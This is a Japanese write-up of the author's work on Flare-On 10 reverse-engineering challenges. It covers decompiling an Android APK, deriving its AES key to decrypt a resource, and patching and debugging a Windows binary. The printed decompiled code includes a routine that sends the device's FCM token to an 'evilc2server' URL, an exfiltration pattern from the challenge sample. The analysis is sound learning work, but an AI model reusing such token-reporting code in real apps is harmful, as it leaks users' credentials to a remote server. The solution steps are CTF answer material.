リバースエンジニアリング専門のCTF Flare-On Challenge。今年で10回目の開催で、自分は5回目の参戦である。
今年は3問目でリタイアしてしまった。
1問目と2問目の解法及び3問目の四苦八苦をまとめておく。
主催者公式のWrite Up はこちら。
01 X
X.7z
を解凍すると複数のファイルが現れたが、とりわけ目を引いたのはX.exe
とX.dll
というファイルだった。
このうち、X.exe
は64ビットのEXEファイルで、X.dll
を読み込んで実行するためのローダーであることが判明した。
X.dll
は.NETファイルの模様。
$ file X.dll
X.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
dnSpyでX.dll
を眺めたところ、monogame1
-> Game1
の配下の_lockButton_click
という処理にフラグがハードコードされていた。
02 ItsOnFire
APKファイルItsOnFire.apk
を解析してフラグを取得する問題。
Android Studioのエミュレーターは依然調子が悪いし、ちゃんと解けるか不安だったが、結論から言うとエミュレーターによるデバッグは不要だった。
Android Studio経由でアプリを実機にインストールしたところ、シューティングゲームのアプリであることが分かった。
続いて、APKファイルをJARファイルに変換してJD-GUIでソースコードを眺めてみた。
secure.itsonfire
というのがメインのパッケージだが、それ以外にもa~v
というパッケージが存在していた。
とりあえず適当なキーワードでソースコードを片っ端からgrepしたところ、cipher
というキーワードがヒットした。
$ grep -R -i cipher .
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java:import javax.crypto.Cipher;
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java: if (cryptoObject.getCipher() != null) {
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java: return new CryptoObject(cryptoObject.getCipher());
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java: if (cryptoObject.getCipher() != null) {
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java: return new FingerprintManager.CryptoObject(cryptoObject.getCipher());
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java: private final Cipher mCipher;
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java: this.mCipher = null;
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java: public CryptoObject(@NonNull Cipher cipher) {
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java: this.mCipher = cipher;
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java: this.mCipher = null;
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java: public Cipher getCipher() {
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java: return this.mCipher;
./f/b.java:import javax.crypto.Cipher;
./f/b.java: Cipher cipher = Cipher.getInstance(str);
./f/b.java: cipher.init(2, secretKeySpec, ivParameterSpec);
./f/b.java: byte[] doFinal = cipher.doFinal(bArr);
./f/b.java: Intrinsics.checkNotNullExpressionValue(doFinal, "cipher.doFinal(input)");
上記で目を引くのはパッケージf
のb.java
である。以下はb.java
の内容。
package f;
import android.content.Context;
import android.content.Intent;
import android.content.res.Resources;
import android.net.Uri;
import android.os.Parcelable;
import androidx.compose.runtime.internal.StabilityInferred;
import androidx.core.content.FileProvider;
import java.io.File;
import java.nio.charset.Charset;
import java.util.zip.CRC32;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import kotlin.Metadata;
import kotlin.io.FilesKt;
import kotlin.jvm.internal.Intrinsics;
import kotlin.ranges.IntRange;
import kotlin.text.Charsets;
import kotlin.text.StringsKt;
import org.jetbrains.annotations.NotNull;
@Metadata(bv = {}, d1 = {"\000L\n\002\030\002\n\002\020\000\n\002\020\016\n\000\n\002\020\022\n\000\n\002\030\002\n\000\n\002\030\002\n\002\b\003\n\002\020\t\n\000\n\002\030\002\n\002\b\002\n\002\020\b\n\000\n\002\030\002\n\000\n\002\030\002\n\002\b\002\n\002\030\002\n\002\b\004\b\002\030\0002\0020\001B\t\b\002\006\004\b\032\020\033J*\020\n\032\0020\0042\006\020\003\032\0020\0022\b\020\005\032\004\030\0010\0042\006\020\007\032\0020\0062\006\020\t\032\0020\bH\002J\020\020\r\032\0020\f2\006\020\013\032\0020\004H\002J\020\020\020\032\0020\0022\006\020\017\032\0020\016H\002J\030\020\024\032\0020\0232\006\020\022\032\0020\0212\006\020\017\032\0020\016H\002J\032\020\027\032\004\030\0010\0042\006\020\026\032\0020\0252\006\020\022\032\0020\021H\002J\026\020\031\032\0020\0302\006\020\017\032\0020\0162\006\020\022\032\0020\021\006\034"}, d2 = {"Lf/b;", "", "", "algorithm", "", "input", "Ljavax/crypto/spec/SecretKeySpec;", "key", "Ljavax/crypto/spec/IvParameterSpec;", "iv", "b", "value", "", "a", "Landroid/content/Context;", "context", "d", "", "resourceId", "Ljava/io/File;", "c", "Landroid/content/res/Resources;", "res", "e", "Landroid/content/Intent;", "f", "<init>", "()V", "app_release"}, k = 1, mv = {1, 6, 0})
@StabilityInferred(parameters = 0)
public final class b {
@NotNull
public static final b a = new b();
public static final int b = 0;
private final long a(byte[] paramArrayOfbyte) {
CRC32 cRC32 = new CRC32();
cRC32.update(paramArrayOfbyte);
return cRC32.getValue();
}
private final byte[] b(String paramString, byte[] paramArrayOfbyte, SecretKeySpec paramSecretKeySpec, IvParameterSpec paramIvParameterSpec) {
Cipher cipher = Cipher.getInstance(paramString);
cipher.init(2, paramSecretKeySpec, paramIvParameterSpec);
byte[] arrayOfByte = cipher.doFinal(paramArrayOfbyte);
Intrinsics.checkNotNullExpressionValue(arrayOfByte, "cipher.doFinal(input)");
return arrayOfByte;
}
private final File c(int paramInt, Context paramContext) {
Resources resources = paramContext.getResources();
Intrinsics.checkNotNullExpressionValue(resources, "context.resources");
byte[] arrayOfByte1 = e(resources, paramInt);
String str1 = d(paramContext);
Charset charset = Charsets.UTF_8;
byte[] arrayOfByte2 = str1.getBytes(charset);
Intrinsics.checkNotNullExpressionValue(arrayOfByte2, "this as java.lang.String).getBytes(charset)");
SecretKeySpec secretKeySpec = new SecretKeySpec(arrayOfByte2, paramContext.getString(2131623964));
String str2 = paramContext.getString(2131623966);
Intrinsics.checkNotNullExpressionValue(str2, "context.getString(R.string.alg)");
String str3 = paramContext.getString(2131624009);
Intrinsics.checkNotNullExpressionValue(str3, "context.getString(\n R.string.iv)");
byte[] arrayOfByte3 = str3.getBytes(charset);
Intrinsics.checkNotNullExpressionValue(arrayOfByte3, "this as java.lang.String).getBytes(charset)");
arrayOfByte1 = b(str2, arrayOfByte1, secretKeySpec, new IvParameterSpec(arrayOfByte3));
File file = new File(paramContext.getCacheDir(), paramContext.getString(2131624023));
FilesKt.writeBytes(file, arrayOfByte1);
return file;
}
private final String d(Context paramContext) {
String str3 = paramContext.getString(2131623971);
Intrinsics.checkNotNullExpressionValue(str3, "context.getString(R.string.c2)");
String str4 = paramContext.getString(2131624039);
Intrinsics.checkNotNullExpressionValue(str4, "context.getString(R.string.w1)");
StringBuilder stringBuilder2 = new StringBuilder();
stringBuilder2.append(str3.subSequence(4, 10));
stringBuilder2.append(str4.subSequence(2, 5));
String str2 = stringBuilder2.toString();
Intrinsics.checkNotNullExpressionValue(str2, "StringBuilder().apply(builderAction).toString()");
byte[] arrayOfByte = str2.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(arrayOfByte, "this as java.lang.String).getBytes(charset)");
long l = a(arrayOfByte);
StringBuilder stringBuilder1 = new StringBuilder();
stringBuilder1.append(l);
stringBuilder1.append(l);
String str1 = stringBuilder1.toString();
Intrinsics.checkNotNullExpressionValue(str1, "StringBuilder().apply(builderAction).toString()");
return StringsKt.slice(str1, new IntRange(0, 15));
}
private final byte[] e(Resources paramResources, int paramInt) {
// Byte code:
// 0: aconst_null
-- snipped --
// 110 118 121 java/io/IOException
}
@NotNull
public final Intent f(@NotNull Context paramContext, int paramInt) {
Intrinsics.checkNotNullParameter(paramContext, "context");
File file = c(paramInt, paramContext);
Uri uri = FileProvider.getUriForFile(paramContext, Intrinsics.stringPlus(paramContext.getApplicationContext().getPackageName(), paramContext.getString(2131624024)), file);
Intent intent = new Intent(paramContext.getString(2131623965));
intent.addFlags(32768);
intent.addFlags(268435456);
intent.addFlags(1);
intent.setType(paramContext.getString(2131624015));
intent.putExtra(paramContext.getString(2131623996), (Parcelable)uri);
return intent;
}
}
上記から気になるコードをピックアップしてみた。
以下はCRCを計算するためのコードと思われる。
private final long a(byte[] paramArrayOfbyte) {
CRC32 cRC32 = new CRC32();
cRC32.update(paramArrayOfbyte);
return cRC32.getValue();
}
以下はcipherオブジェクトを生成するためのコードと思われる。
private final byte[] b(String paramString, byte[] paramArrayOfbyte, SecretKeySpec paramSecretKeySpec, IvParameterSpec paramIvParameterSpec) {
Cipher cipher = Cipher.getInstance(paramString);
cipher.init(2, paramSecretKeySpec, paramIvParameterSpec);
byte[] arrayOfByte = cipher.doFinal(paramArrayOfbyte);
Intrinsics.checkNotNullExpressionValue(arrayOfByte, "cipher.doFinal(input)");
return arrayOfByte;
}
以下は何らかのファイルを暗号化もしくは復号するためのコードと思われる。
private final File c(int paramInt, Context paramContext) {
Resources resources = paramContext.getResources();
Intrinsics.checkNotNullExpressionValue(resources, "context.resources");
byte[] arrayOfByte1 = e(resources, paramInt);
String str1 = d(paramContext);
Charset charset = Charsets.UTF_8;
byte[] arrayOfByte2 = str1.getBytes(charset);
Intrinsics.checkNotNullExpressionValue(arrayOfByte2, "this as java.lang.String).getBytes(charset)");
SecretKeySpec secretKeySpec = new SecretKeySpec(arrayOfByte2, paramContext.getString(2131623964));
String str2 = paramContext.getString(2131623966);
Intrinsics.checkNotNullExpressionValue(str2, "context.getString(R.string.alg)");
String str3 = paramContext.getString(2131624009);
Intrinsics.checkNotNullExpressionValue(str3, "context.getString(\n R.string.iv)");
byte[] arrayOfByte3 = str3.getBytes(charset);
Intrinsics.checkNotNullExpressionValue(arrayOfByte3, "this as java.lang.String).getBytes(charset)");
arrayOfByte1 = b(str2, arrayOfByte1, secretKeySpec, new IvParameterSpec(arrayOfByte3));
File file = new File(paramContext.getCacheDir(), paramContext.getString(2131624023));
FilesKt.writeBytes(file, arrayOfByte1);
return file;
}
以下はを暗号鍵生成するためのコードと思われる。
private final String d(Context paramContext) {
String str3 = paramContext.getString(2131623971);
Intrinsics.checkNotNullExpressionValue(str3, "context.getString(R.string.c2)");
String str4 = paramContext.getString(2131624039);
Intrinsics.checkNotNullExpressionValue(str4, "context.getString(R.string.w1)");
StringBuilder stringBuilder2 = new StringBuilder();
stringBuilder2.append(str3.subSequence(4, 10));
stringBuilder2.append(str4.subSequence(2, 5));
String str2 = stringBuilder2.toString();
Intrinsics.checkNotNullExpressionValue(str2, "StringBuilder().apply(builderAction).toString()");
byte[] arrayOfByte = str2.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(arrayOfByte, "this as java.lang.String).getBytes(charset)");
long l = a(arrayOfByte);
StringBuilder stringBuilder1 = new StringBuilder();
stringBuilder1.append(l);
stringBuilder1.append(l);
String str1 = stringBuilder1.toString();
Intrinsics.checkNotNullExpressionValue(str1, "StringBuilder().apply(builderAction).toString()");
return StringsKt.slice(str1, new IntRange(0, 15));
}
上記より、パッケージf
のb.java
は何らかのファイルを復号するものと思われる。
となると、暗号の種類やら暗号鍵やらが知りたいところだが、ソースコードにはそれらしい情報がハードコードされていない。ググってみたところ、Androidのソースコードで参照されている文字列の情報はstrings.xml
というファイルに記載されているらしい。
ソースコード内で参照されている文字列を知るには、
getString()
で参照されている10進数を16進数に変換する。- 16進数が参照している変数名を見つける。
- 変数が参照している文字列を見つける。
例えば、String str3 = paramContext.getString(2131623971);
のstr3
に格納される文字列が知りたい場合は、まずgetString()
で参照されている2131623971
を16進数に変換する。
>>> hex(2131623971)
'0x7f0e0023'
続いて0x7f0e0023
が参照している変数名を見つける。
$ grep -R -i '0x7f0e0023' .
./resources/res/values/public.xml: <public type="string" name="c2" id="0x7f0e0023" />
./sources/com/secure/itsonfire/R.java: public static final int c2 = 0x7f0e0023;
上記より、c2
という変数名が参照されていることが分かった。
あとは変数c2
が参照している文字列を見つける。
$ grep -R -i 'name="c2"' .
./resources/res/values/public.xml: <public type="string" name="c2" id="0x7f0e0023" />
./resources/res/values/strings.xml: <string name="c2">https://flare-on.com/evilc2server/report_token/report_token.php?token=</string>
上記より、変数c2
はhttps://flare-on.com/evilc2server/report_token/report_token.php?token=
という文字列を参照していることが判明した。
よって、String str3 = paramContext.getString(2131623971);
はString str3 = paramContext.getString("https://flare-on.com/evilc2server/report_token/report_token.php?token=");
となる。
上述した要領で、パッケージf
のb.java
で参照されている文字列をすべて調べてみた。
以下はgetString
で参照されている10進数を実際の文字列に置き換えて、簡単なコメントを加えたものである。
public final class b {
@NotNull
public static final b a = new b();
public static final int b = 0;
// returns CRC32 value
private final long a(byte[] paramArrayOfbyte) {
CRC32 cRC32 = new CRC32();
cRC32.update(paramArrayOfbyte);
return cRC32.getValue();
}
// creates cipher object
private final byte[] b(String paramString, byte[] paramArrayOfbyte, SecretKeySpec paramSecretKeySpec, IvParameterSpec paramIvParameterSpec) {
Cipher cipher = Cipher.getInstance(paramString);
cipher.init(2, paramSecretKeySpec, paramIvParameterSpec);
byte[] arrayOfByte = cipher.doFinal(paramArrayOfbyte);
Intrinsics.checkNotNullExpressionValue(arrayOfByte, "cipher.doFinal(input)");
return arrayOfByte;
}
// AES encrypt or decrypt the file.
private final File c(int paramInt, Context paramContext) {
Resources resources = paramContext.getResources();
Intrinsics.checkNotNullExpressionValue(resources, "context.resources");
byte[] arrayOfByte1 = e(resources, paramInt); // where is e()?
String str1 = d(paramContext); // generates AES key
Charset charset = Charsets.UTF_8;
byte[] arrayOfByte2 = str1.getBytes(charset);
Intrinsics.checkNotNullExpressionValue(arrayOfByte2, "this as java.lang.String).getBytes(charset)");
SecretKeySpec secretKeySpec = new SecretKeySpec(arrayOfByte2, paramContext.getString("AES"));
String str2 = paramContext.getString("AES/CBC/PKCS5Padding");
Intrinsics.checkNotNullExpressionValue(str2, "context.getString(R.string.alg)");
String str3 = paramContext.getString("abcdefghijklmnop");
Intrinsics.checkNotNullExpressionValue(str3, "context.getString(\n R.string.iv)");
byte[] arrayOfByte3 = str3.getBytes(charset);
Intrinsics.checkNotNullExpressionValue(arrayOfByte3, "this as java.lang.String).getBytes(charset)");
arrayOfByte1 = b(str2, arrayOfByte1, secretKeySpec, new IvParameterSpec(arrayOfByte3)); // b(AES/CBC/PKCS5Padding, unknownfile, AES-key, IV-abcdefghijklmnop)
File file = new File(paramContext.getCacheDir(), paramContext.getString("playerscore.png"));
FilesKt.writeBytes(file, arrayOfByte1); // write to playerscore.png in cache directory. How to access cache directory?
return file;
}
// Generates AES key
private final String d(Context paramContext) {
String str3 = paramContext.getString("https://flare-on.com/evilc2server/report_token/report_token.php?token=");
Intrinsics.checkNotNullExpressionValue(str3, "context.getString(R.string.c2)");
String str4 = paramContext.getString("wednesday");
Intrinsics.checkNotNullExpressionValue(str4, "context.getString(R.string.w1)");
StringBuilder stringBuilder2 = new StringBuilder();
stringBuilder2.append(str3.subSequence(4, 10)); // s://fl
stringBuilder2.append(str4.subSequence(2, 5)); // dne
String str2 = stringBuilder2.toString(); // s://fldne
Intrinsics.checkNotNullExpressionValue(str2, "StringBuilder().apply(builderAction).toString()");
byte[] arrayOfByte = str2.getBytes(Charsets.UTF_8); // convert s://fldne to UTF-8 -> 115 58 47 47 102 108 100 110 101 https://www.tutorialspoint.com/convert-string-to-utf-8-bytes-in-java
Intrinsics.checkNotNullExpressionValue(arrayOfByte, "this as java.lang.String).getBytes(charset)");
long l = a(arrayOfByte); // returns CRC32 value, 1adf20c9 -> 450830537
StringBuilder stringBuilder1 = new StringBuilder();
stringBuilder1.append(l); // 450830537
stringBuilder1.append(l); // 450830537
String str1 = stringBuilder1.toString(); // convert 450830537450830537 to string
Intrinsics.checkNotNullExpressionValue(str1, "StringBuilder().apply(builderAction).toString()");
return StringsKt.slice(str1, new IntRange(0, 15)); // 4508305374508305
}
public final Intent f(@NotNull Context paramContext, int paramInt) {
Intrinsics.checkNotNullParameter(paramContext, "context");
File file = c(paramInt, paramContext);
Uri uri = FileProvider.getUriForFile(paramContext, Intrinsics.stringPlus(paramContext.getApplicationContext().getPackageName(), paramContext.getString(.provider)), file);
Intent intent = new Intent(paramContext.getString("android.intent.action.SEND"));
intent.addFlags(32768);
intent.addFlags(268435456);
intent.addFlags(1);
intent.setType(paramContext.getString("image/png"));
intent.putExtra(paramContext.getString("android.intent.extra.STREAM"), (Parcelable)uri);
return intent;
}
public void onNewToken(@NotNull String paramString) {
Intrinsics.checkNotNullParameter(paramString, "token");
Log.i("FCM Token Created", paramString);
ExecutorService executorService = Executors.newSingleThreadExecutor();
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(getString("https://flare-on.com/evilc2server/report_token/report_token.php?token="));
stringBuilder.append(paramString);
paramString = stringBuilder.toString(); // https://flare-on.com/evilc2server/report_token/report_token.php?token=<TOKEN>
Intrinsics.checkNotNullExpressionValue(paramString, "StringBuilder().apply(builderAction).toString()");
executorService.submit(new PostByWeb(paramString));
}
}
上記より、パッケージf
のb.java
は何らかのファイルをAES復号してplayerscore.png
に書き込むための処理であることが判明した。
AES鍵の生成は以下の手順で行われる。
https://flare-on.com/evilc2server/report_token/report_token.php?token=
という文字列のオフセット4から10までの文字を抽出する。(str3.subSequence(4, 10)
->s://fl
)wednesday
という文字列のオフセット2から5までの文字を抽出する。(str4.subSequence(2, 5)
->dne
)- 1. と 2.で抽出した文字を連結する。(
s://fl
+dne
->s://fldne
) s://fldne
のCRCを計算する。結果は1adf20c9
となる。(CRCの計算にはCyberChefのCRC-32 Checksumを使用)- 4.で計算したCRCの値をLong型に変換する。結果は
450830537
となる。(Pythonの対話シェルで0x1adf20c9
と入力 ->450830537
) 450830537
と450830537
を連結する。(450830537
+450830537
->450830537450830537
)
ファイルの復号には以下のパラメータを使用する。
- AES鍵は
450830537450830537
- IVは
abcdefghijklmnop
(String str3 = paramContext.getString("abcdefghijklmnop");
) - 使用するモードはCBC (
String str2 = paramContext.getString("AES/CBC/PKCS5Padding");
)
あとは復号対象のファイルを見つけるだけである。
res
ディレクトリの中のファイルを調べて見たところ、M7.png
とin.png
というファイルが目を引いた。
$ file *.png | grep -v PNG
M7.png: data
in.png: data
どちらのファイルも拡張子が.png
であるものの、fileコマンドではPNG画像ファイルとして認識されていない。
M7.png
を先述したパラメータを用いてAES復号したところ、フラグが取れた。
03 mypassion
64ビットのEXEファイルmypassion.exe
を解析してフラグを取得する問題。
このファイルはASLRが有効化されていたので、事前に無効化しておいた。
手始めにmypassion.exe
を実行してみたが、特に目ぼしい挙動は確認できなかった。
問題文を見るに、ファイルを実行するためにはいろいろ環境をいじったり、プログラムをパッチする必要がありそう。
とりあえず解析にあたり、以下のジャンプ命令を書き換えた。(jnz
はjz
に、jz
はjnz
に変更。)
.text:000000014000106F 75 33 jnz short loc_1400010A4
.text:0000000140001080 74 05 jz short loc_140001087
.text:000000014000109D 74 1C jz short loc_1400010BB
.text:000000014000109D 74 1C jz short loc_1400010BB
.text:00000001400011BC 0F 84 09 02 00 00 jz loc_1400013CB
それ以外はデバッガでプログラムをステップオーバー実行し、処理が止まるたびに該当箇所を逐一NOPしていった。
解析を進めるうちに、いくつか気になるサブルーチンを発見した。
サブルーチン 0x140002C00
- AES 256の鍵を生成すると思われる。
- 鍵の生成の際に
turnitup
という文字列を使用?
サブルーチン 0x140002D20
- 何らかのデータをAES復号する。
- IVに
capture_the_flag
という文字列を使用。
サブルーチン 0x140002DB0
- ユーザーの一時ディレクトリ
C:\Users\[username]\AppData\Local\Temp\
にran[ランダムな値].TMP.html
というファイルを作成して実行する。
サブルーチン 0x1400018B0
j__malloc_base
やVirtualAllocEx
を呼び出して何らかの処理のためのメモリ領域を確保する。- ほかにも色々していると思うが詳細は不明。
サブルーチン 0x1400013E0
- 上述した4つのサブルーチンを実行するためのラッパー関数。
- このサブルーチンが実行されると、
mypassion.exe
と同じディレクトリ内に正体不明のファイルが作成される。
サブルーチン 0x140002910
RUECKWAERTSINGENIEURWESEN
というtight stringsを生成する。(mypassion.exe
にflossを走らせたことで判明)- サブルーチン
0x1400018B0
の中でcallされている。
上述したようにサブルーチン0x1400013E0
が実行されるとmypassion.exe
と同じディレクトリ内に正体不明のファイルが作成される。厳密にはサブルーチン0x1400013E0
の中でCreateFileW
とWriteFile
が呼び出されており、これらの関数がファイルを作成する。
以下が作成されたファイルである。
作成されたファイルのハッシュ値は毎回異なっていた。
自分の解析だとサブルーチン0x140002C00
(AES鍵の生成の処理?)や0x140002D20
(AES復号の処理?)は実行されたが、サブルーチン 0x140002DB0
へは処理が飛ばなかった。サブルーチン 0x140002DB0
が実行された場合、ユーザーの一時ディレクトリC:\Users\[username]\AppData\Local\Temp\
にran[ランダムな値].TMP.html
というファイルを作成して実行する。その結果、フラグが表示されるのだと思われるが。。。
以下はサブルーチン0x140002D20
(AES復号の処理?)の中で呼び出されているCryptDecrypt
によってメモリに復号されたペイロードである。
シェルコードかな?と思い、上記のペイロードをダンプしてscdbgで解析してみたが、大した発見はなかった。
C:\Users\REM\Desktop\mypassion\shellcode>scdbg -f maybe-shellcode.bin
Loaded 2c520 bytes from file maybe-shellcode.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000
401010 error accessing 0x00000108 not mapped
401010 8B8108010000 mov eax,[ecx+0x108] step: 8 foffset: 10
eax=fffffffc ecx=0 edx=0 ebx=0
esp=12fddc ebp=12fff0 esi=0 edi=0 EFL 84 P S
401016 48 dec eax
401017 8BD9 mov ebx,ecx
401019 C7400803000000 mov dword [eax+0x8],0x3
401020 48 dec eax
Stepcount 8
C:\Users\REM\Desktop\mypassion\shellcode>scdbg -f maybe-shellcode.bin -api -s -1
Loaded 2c520 bytes from file maybe-shellcode.bin
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000
401010 error accessing 0x00000108 not mapped
401010 8B8108010000 mov eax,[ecx+0x108] step: 8 foffset: 10
eax=fffffffc ecx=0 edx=0 ebx=0
esp=12fddc ebp=12fff0 esi=0 edi=0 EFL 84 P S
401016 48 dec eax
401017 8BD9 mov ebx,ecx
401019 C7400803000000 mov dword [eax+0x8],0x3
401020 48 dec eax
Stepcount 8
No Api were called can not scan for api table...
サブルーチン0x1400013E0
(ラッパー関数)は最後に以下のcall命令でAES復号されたペイロードを実行するようである。
上記のcall命令にブレークポイントをセットしてステップイン実行してみた。
しかし、ほどなくして_invoke_watson
に処理が移り、プログラムが終了してしまった。